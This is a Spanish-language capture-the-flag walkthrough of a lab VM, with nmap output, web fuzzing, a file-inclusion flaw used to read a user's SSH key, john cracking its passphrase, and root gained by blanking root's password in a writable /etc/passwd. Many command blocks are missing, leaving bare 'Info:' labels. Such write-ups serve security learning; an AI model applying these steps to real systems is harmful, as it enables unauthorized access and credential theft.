Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-30 03:23 EDT
Nmap scan report for 192.168.5.31
Host is up (0.0025s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 21:a5:80:4d:e9:b6:f0:db:71:4d:30:a0:69:3a:c5:0e (ECDSA)
|_ 256 40:90:68:70:66:eb:f2:6c:f4:ca:f5:be:36:82:d0:72 (ED25519)
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Apache2 Debian Default Page: It works
MAC Address: 08:00:27:42:BC:8C (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.14 seconds
Veremos que hay un puerto 80 en el que al parecer se aloja una pagina web, vamos a probar a entrar en dicho puerto 80 a ver que nos encontramos.
Si entramos vemos que hay una pagina echa por defecto de apache2, por lo que vamos a realizar un poco de fuzzing a ver que encontramos.
Gobuster
Info:
Veremos que hay un robots.txt a ver que nos encontramos dentro de dicho archivo.
Info:
Veremos muchimos texto el cual no nos interesa parcticamente para nada, pero lo que si podemos hacer es probar a generar un diccionario de palabras con dicho texto de esta forma:
Si intentamos utilizar dicho diccionario para tirar un ataque de fuerza bruta web no veremos nada interesante, por lo que vamos a montarnos un script para sustituir las vocales por numeros a lo que corresponden y despues volver todo minuscula de la siguiente forma:
Escalate user p4l4nc4
generate_dic.sh
Ahora lo utilizaremos de esta forma:
Info:
Ahora vamos a realizar fuzzing con dicho diccionario de esta forma.
Info:
Veremos que hemos conseguido encontrar un directorio web bastante interesante, vamos a realizar fuzzing dentro del mismo con el mismo diccionario.
Info:
Veremos que hemos encontrado un .php pero el cual nos da un 500 de error, por lo que vamos a realizar un poco de fuzzing para intentar ver si tuviera alguna vulnerabilidad de poder leer archivos del sistema LFI.
FFUF
Info:
Veremos que efectivamente a funcionado, por lo que vamos a probarlo con un curl a ver que nos muestra.
Info:
Veremos que funciona, por lo que ahora vamos a probar a intentar visualizar la clave PEM del usuario p4l4nc4 a ver si lo conseguimos.
Info:
Veremos que funciona, por lo que vamos a conectarnos mediante la clave PEM por SSH.
SSH
id_rsa
Ahora nos conectamos por SSH una vez echo todo lo anterior.
Pero veremos que nos pedira una contraseña, vamos a probar a intentar crackear dicha contraseña de esta forma.
Info:
Veremos que ha funcionado, por lo que vamos a probarla.
Metemos como contraseña friendster y veremos que estaremos dentro.
Info:
Vamos a leer la flag del usuario.
user.txt
Escalate Privileges
Si vemos los archivos en los cuales podemos escribir podremos ver lo siguiente:
Info:
Vemos que entre ellos esta el /etc/passwd por lo que vamos a realizar lo siguiente.
Lo guardamos y ahora para ser root realizaremos lo siguiente.
Info:
Veremos que ha funcionado, por lo que leeremos la flag de root.
ssh2john id_rsa > hash.ssh | john --wordlist=<WORDLIST> hash.ssh
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 4 OpenMP threads
Press Ctrl-C to abort, or send SIGUSR1 to john process for status
friendster (id_rsa)
1g 0:00:00:14 DONE (2025-05-30 03:56) 0.06752g/s 43.21p/s 43.21c/s 43.21C/s mariah..pebbles
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
ssh -i id_rsa p4l4nc4@<IP>
p4l4nc4@192.168.5.31's password:
Linux 4ng014 6.1.0-27-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.115-1 (2024-11-01) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Nov 13 17:10:08 2024 from 192.168.1.78
p4l4nc4@4ng014:~$ whoami
p4l4nc4
nano /etc/passwd
#Dentro del nano
root:x:0:0:root:/root:/bin/bash # Cambiaremos esta linea
root::0:0:root:/root:/bin/bash # Por esta de aqui quitandole simplemente la "x" a root